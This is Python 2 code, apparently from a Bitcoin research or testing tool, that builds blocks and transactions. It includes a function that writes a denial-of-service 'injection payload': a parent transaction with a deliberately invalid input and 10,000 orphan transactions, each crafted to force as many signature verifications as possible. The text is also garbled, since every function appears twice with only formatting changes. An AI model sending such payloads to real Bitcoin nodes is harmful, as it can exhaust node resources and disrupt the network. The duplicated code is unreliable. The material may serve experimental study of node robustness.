def block_with_spend():
    # Get a first transaction that spends 2nd coinbase to a single output
    tx1,txin = spend_second_coinbase()

    # Create a second transaction that is all fees
    tx2 = Transaction()
    tx2.vin.append(txin)
    txout,_ = txpair_from_pubkey(nValue=1e8)
    tx2.append_txout(txout)
    tx2.finalize()
    
    block = make_block()
    block.vtx.append(tx1._ctx)
    block.hashMerkleRoot = block.calc_merkle_root()
    return block, tx2
def spend_second_coinbase():
    # Create a transaction that spends the second coinbase
    txin_second = get_txin_second()
    tx = Transaction()
    tx.vin = [txin_second]
    #txout, txin = txpair_from_pubkey()
    txout, txin = txpair_from_p2sh()
    tx.append_txout(txout)
    tx.finalize()
    return tx, txin
def spend_second_coinbase():
    # Create a transaction that spends the second coinbase
    txin_second = get_txin_second()
    tx = Transaction()
    tx.vin = [txin_second]
    #txout, txin = txpair_from_pubkey()
    txout, txin = txpair_from_p2sh()
    tx.append_txout(txout)
    tx.finalize()
    return tx, txin
def block_with_spend():
    # Get a first transaction that spends 2nd coinbase to a single output
    tx1, txin = spend_second_coinbase()

    # Create a second transaction that is all fees
    tx2 = Transaction()
    tx2.vin.append(txin)
    txout, _ = txpair_from_pubkey(nValue=1e8)
    tx2.append_txout(txout)
    tx2.finalize()

    block = make_block()
    block.vtx.append(tx1._ctx)
    block.hashMerkleRoot = block.calc_merkle_root()
    return block, tx2
def make_experiment1(path='./experiment1_payload.dat'):
    """
    Creates the injection payload for an experiment.
    This experiment includes a block and a large number of orphans.
    The main payload are transactions that
     - contain the maximum size (100kb)
     - all of the inputs contain the maximum number of ecdsa verifications 

    1. Create enough txouts
    """
    # block, tx2 = block_with_spend()
    # with open(path,'wb') as f:
    #     m = msg_block()
    #     m.block = block
    #     f.write(m.serialize())

    #     m = msg_tx()
    #     m.tx = tx2._ctx
    #     f.write(m.serialize())

    # Chosen so that the size of the payload transactions is within 5kb
    n_inputs = 13

    # 1. Create a setup transaction with enough inputs for each payload (+2 boosters)
    tx_setup = Transaction()
    tx_setup.vin = [get_txin_second()]
    tx_setup_ins = []

    for i in range(n_inputs+2):
        _out,_in = txpair_from_p2sh(nValue=0.01*COIN)
        tx_setup.append_txout(_out)
        tx_setup_ins.append(_in)
    tx_setup.finalize()

    # # 1a. Add tx_setup to a block
    block = make_block()
    block.vtx.append(tx_setup._ctx)
    block.hashMerkleRoot = block.calc_merkle_root()

    # 2. Create a "parent" transaction with one output
    print 'Step 2.'
    tx_parent = Transaction()
    tx_parent.vin = [tx_setup_ins[-2]]
    # This input will be the only invalid one
    _tx_parent_out,tx_parent_in = txpair_from_p2sh_dos(nValue=0.01*COIN)
    tx_parent.append_txout(_tx_parent_out)
    tx_parent.finalize()

    # 3. Create "orphan" payloads
    print 'Step 3.'
    tx_orphans = []
    for i in range(10000):
        # Create several bad transactions
        tx = Transaction()
        tx.vin = tx_setup_ins[:n_inputs-1] + [tx_parent_in]
        txout,_ = txpair_from_p2sh(nValue=0.001*COIN)
        tx.append_txout(txout)
        tx.finalize()
        tx_orphans.append(tx)
        assert len(tx._ctx.serialize()) <= 5000

    with open(path,'wb') as f:
        m = msg_block()
        m.block = block
        f.write(m.serialize())

        for tx in tx_orphans + [tx_parent]:
            m = msg_tx()
            m.tx = tx._ctx
            f.write(m.serialize())
def spend_p2sh():
    # First transaction: spends 2nd coinbase, creates a p2sh output
    txin_second = get_txin_second()
    tx1 = Transaction()
    tx1.vin = [txin_second]
    tx1out, tx2in = txpair_from_p2sh()
    tx1.append_txout(tx1out)
    tx1.finalize()

    # Second transaction: spends tx1's output, creates a pubkey output
    tx2 = Transaction()
    tx2.vin = [tx2in]
    tx2out, _ = txpair_from_pubkey(nValue=1*COIN)
    tx2.append_txout(tx2out)
    tx2.finalize()

    return tx1,tx2
def make_experiment1(path='./experiment1_payload.dat'):
    """
    Creates the injection payload for an experiment.
    This experiment includes a block and a large number of orphans.
    The main payload are transactions that
     - contain the maximum size (100kb)
     - all of the inputs contain the maximum number of ecdsa verifications 

    1. Create enough txouts
    """
    # block, tx2 = block_with_spend()
    # with open(path,'wb') as f:
    #     m = msg_block()
    #     m.block = block
    #     f.write(m.serialize())

    #     m = msg_tx()
    #     m.tx = tx2._ctx
    #     f.write(m.serialize())

    # Chosen so that the size of the payload transactions is within 5kb
    n_inputs = 13

    # 1. Create a setup transaction with enough inputs for each payload (+2 boosters)
    tx_setup = Transaction()
    tx_setup.vin = [get_txin_second()]
    tx_setup_ins = []

    for i in range(n_inputs + 2):
        _out, _in = txpair_from_p2sh(nValue=0.01 * COIN)
        tx_setup.append_txout(_out)
        tx_setup_ins.append(_in)
    tx_setup.finalize()

    # # 1a. Add tx_setup to a block
    block = make_block()
    block.vtx.append(tx_setup._ctx)
    block.hashMerkleRoot = block.calc_merkle_root()

    # 2. Create a "parent" transaction with one output
    print 'Step 2.'
    tx_parent = Transaction()
    tx_parent.vin = [tx_setup_ins[-2]]
    # This input will be the only invalid one
    _tx_parent_out, tx_parent_in = txpair_from_p2sh_dos(nValue=0.01 * COIN)
    tx_parent.append_txout(_tx_parent_out)
    tx_parent.finalize()

    # 3. Create "orphan" payloads
    print 'Step 3.'
    tx_orphans = []
    for i in range(10000):
        # Create several bad transactions
        tx = Transaction()
        tx.vin = tx_setup_ins[:n_inputs - 1] + [tx_parent_in]
        txout, _ = txpair_from_p2sh(nValue=0.001 * COIN)
        tx.append_txout(txout)
        tx.finalize()
        tx_orphans.append(tx)
        assert len(tx._ctx.serialize()) <= 5000

    with open(path, 'wb') as f:
        m = msg_block()
        m.block = block
        f.write(m.serialize())

        for tx in tx_orphans + [tx_parent]:
            m = msg_tx()
            m.tx = tx._ctx
            f.write(m.serialize())
def spend_p2sh():
    # First transaction: spends 2nd coinbase, creates a p2sh output
    txin_second = get_txin_second()
    tx1 = Transaction()
    tx1.vin = [txin_second]
    tx1out, tx2in = txpair_from_p2sh()
    tx1.append_txout(tx1out)
    tx1.finalize()

    # Second transaction: spends tx1's output, creates a pubkey output
    tx2 = Transaction()
    tx2.vin = [tx2in]
    tx2out, _ = txpair_from_pubkey(nValue=1 * COIN)
    tx2.append_txout(tx2out)
    tx2.finalize()

    return tx1, tx2